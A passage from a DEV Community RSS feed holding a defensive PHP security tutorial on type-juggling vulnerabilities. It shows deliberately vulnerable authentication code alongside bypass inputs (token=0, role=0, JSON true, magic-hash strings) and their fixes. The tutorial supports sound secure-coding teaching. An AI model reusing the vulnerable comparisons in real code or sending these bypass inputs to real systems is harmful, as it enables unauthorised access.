<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Nchiminyi — Founder, Kriosa</title>
    <description>The latest articles on DEV Community by Nchiminyi — Founder, Kriosa (@kriosa).</description>
    <link>https://dev.to/kriosa</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4010602%2F41284738-5a4f-4116-8b26-36ca4722c94f.png</url>
      <title>DEV Community: Nchiminyi — Founder, Kriosa</title>
      <link>https://dev.to/kriosa</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kriosa"/>
    <language>en</language>
    <item>
      <title>PHP Type Juggling — When 0 Equals "admin"</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 01 Sep 2026 13:06:53 +0000</pubDate>
      <link>https://dev.to/kriosa/php-type-juggling-when-0-equals-admin-1h5p</link>
      <guid>https://dev.to/kriosa/php-type-juggling-when-0-equals-admin-1h5p</guid>
      <description>&lt;p&gt;This is the eighteenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;Article 5: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;Article 7: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;Article 14: Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;li&gt;Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data&lt;/li&gt;
&lt;li&gt;Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should&lt;/li&gt;
&lt;li&gt;Article 17: Open redirect vulnerabilities in PHP and Laravel&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Type juggling is PHP's most surprising security vulnerability. It does not require a misconfigured server. It does not require a forgotten input validation check. It requires only that you used &lt;code&gt;==&lt;/code&gt; instead of &lt;code&gt;===&lt;/code&gt; in the wrong place and that you did not know why that mattered.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Two Comparison Operators
&lt;/h2&gt;

&lt;p&gt;PHP has two equality operators and the difference between them is the core of this vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;==&lt;/code&gt; loose comparison converts types before comparing. If you compare an integer to a string PHP decides what type to use and converts accordingly.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;===&lt;/code&gt; strict comparison compares both value and type. An integer is never equal to a string regardless of value.&lt;/p&gt;

&lt;p&gt;One character difference. Completely different security implications.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Surprising Truth About PHP 7
&lt;/h2&gt;

&lt;p&gt;Run this code on PHP 7:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    &lt;span class="c1"&gt;// bool(true)&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// bool(true)&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"anything"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// bool(true)&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;         &lt;span class="c1"&gt;// bool(true)&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// bool(true)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every one of those comparisons returns true.&lt;/p&gt;

&lt;p&gt;When PHP 7 compares an integer to a non-numeric string it converts the string to an integer. Non-numeric strings like &lt;code&gt;"admin"&lt;/code&gt; convert to &lt;code&gt;0&lt;/code&gt;. So &lt;code&gt;0 == "admin"&lt;/code&gt; becomes &lt;code&gt;0 == 0&lt;/code&gt; which is true.&lt;/p&gt;

&lt;p&gt;This was a deliberate design decision from PHP's early days when loose typing was considered a feature. It became a security problem as PHP was used in authentication systems that nobody anticipated when those decisions were made.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHP 8 changed this behavior:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    &lt;span class="c1"&gt;// bool(false) — PHP 8&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// bool(false) — PHP 8&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;         &lt;span class="c1"&gt;// bool(false) — PHP 8&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// bool(true)  — still true in PHP 8&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"01"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// bool(true)  — still true in PHP 8&lt;/span&gt;
&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"10"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"1e1"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// bool(true)  — scientific notation, still true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PHP 8 fixed the integer-to-non-numeric-string comparison. But many behaviors remain unchanged. And many production applications still run PHP 7 including shared hosting environments that have not been upgraded. Always use &lt;code&gt;===&lt;/code&gt; regardless of PHP version.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Magic Hash Vulnerability
&lt;/h2&gt;

&lt;p&gt;Here is a real authentication bypass using type juggling. This is not hypothetical — it has appeared in production authentication systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — loose comparison in token validation&lt;/span&gt;
&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$validToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getTokenFromDatabase&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// returns '0e123456789'&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$validToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;grantAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;token=0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The stored token &lt;code&gt;'0e123456789'&lt;/code&gt; resembles scientific notation: 0 × 10^123456789. PHP 7's loose comparison converts it to float &lt;code&gt;0.0&lt;/code&gt;. The attacker's &lt;code&gt;0&lt;/code&gt; also converts to &lt;code&gt;0.0&lt;/code&gt;. PHP compares &lt;code&gt;0.0 == 0.0&lt;/code&gt; which is true. The attacker is authenticated without knowing the token.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important context on magic hashes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This specific attack requires that the stored hash begins with &lt;code&gt;0e&lt;/code&gt; followed only by digits. In practice this means the attack is probabilistic — not every hash will have this property. However applications that do not control what hash values are stored, or that generate tokens using algorithms where magic hashes are possible, are at meaningful risk. The fix is simple and the cost of not applying it is high.&lt;/p&gt;

&lt;p&gt;Known hash values that evaluate to &lt;code&gt;0&lt;/code&gt; under PHP 7 loose comparison:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MD5("240610708")  = 0e462097431906509019562988736854
MD5("QNKCDZO")   = 0e830400451993494058024219903391
SHA1("aaroZmOk") = 0e66507019969427134894567494305185566735
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any of these compared with &lt;code&gt;==&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; returns true in PHP 7.&lt;/p&gt;

&lt;h2&gt;
  
  
  Type Juggling in switch Statements
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;switch&lt;/code&gt; in PHP uses loose comparison internally — the same vulnerability appears in role and permission checks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$role&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;grantAdminAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;denyAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;grantBasicAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;role=0&lt;/code&gt;. PHP 7 evaluates switch cases in order — first it checks &lt;code&gt;0 == 'admin'&lt;/code&gt; which is true in PHP 7 and grants admin access before ever reaching the deny case.&lt;/p&gt;

&lt;p&gt;This specific behavior changed in PHP 8 where &lt;code&gt;0 == 'admin'&lt;/code&gt; is false. However the general principle that switch uses loose comparison remains true in PHP 8 for other type combinations. The safe pattern is to avoid mixing types in switch cases and validate input types before reaching any switch statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$role&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;grantAdminAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'editor'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;grantEditorAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;denyAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Type Juggling in &lt;code&gt;in_array()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;in_array()&lt;/code&gt; uses loose comparison by default — a frequently missed vulnerability:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowedRoles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'editor'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'viewer'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$role&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// attacker supplied as integer&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$role&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$allowedRoles&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// In PHP 7: 0 == 'admin' → true&lt;/span&gt;
    &lt;span class="c1"&gt;// Attacker passes the check&lt;/span&gt;
    &lt;span class="nf"&gt;grantAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix is the third parameter — strict mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$role&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$allowedRoles&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// strict: true&lt;/span&gt;
    &lt;span class="c1"&gt;// Now uses === so 0 === 'admin' → false&lt;/span&gt;
    &lt;span class="nf"&gt;grantAccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Always pass &lt;code&gt;true&lt;/code&gt; as the third argument to &lt;code&gt;in_array()&lt;/code&gt; when comparing values where type matters. This single parameter change prevents the entire category of &lt;code&gt;in_array()&lt;/code&gt; type juggling vulnerabilities.&lt;/p&gt;




&lt;h2&gt;
  
  
  Type Juggling in JSON API Endpoints
&lt;/h2&gt;

&lt;p&gt;APIs that accept JSON are particularly vulnerable because JSON has native boolean and null types that interact unexpectedly with PHP's &lt;code&gt;==&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;json_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'php://input'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// authenticated&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In PHP &lt;code&gt;true == "any_non_empty_string"&lt;/code&gt; is true in both PHP 7 and PHP 8. The attacker is authenticated by sending boolean &lt;code&gt;true&lt;/code&gt; as their token without knowing the actual token value.&lt;/p&gt;

&lt;p&gt;Or they send:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which triggers the integer comparison bypass in PHP 7.&lt;/p&gt;

&lt;p&gt;The fix — validate type before comparing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;json_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'php://input'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid token.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid token.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;hash_equals()&lt;/code&gt; — The Correct Token Comparison
&lt;/h2&gt;

&lt;p&gt;For comparing tokens, hashes, and secrets PHP provides &lt;code&gt;hash_equals()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — loose comparison&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Better but incomplete — strict but timing-attack vulnerable&lt;/span&gt;
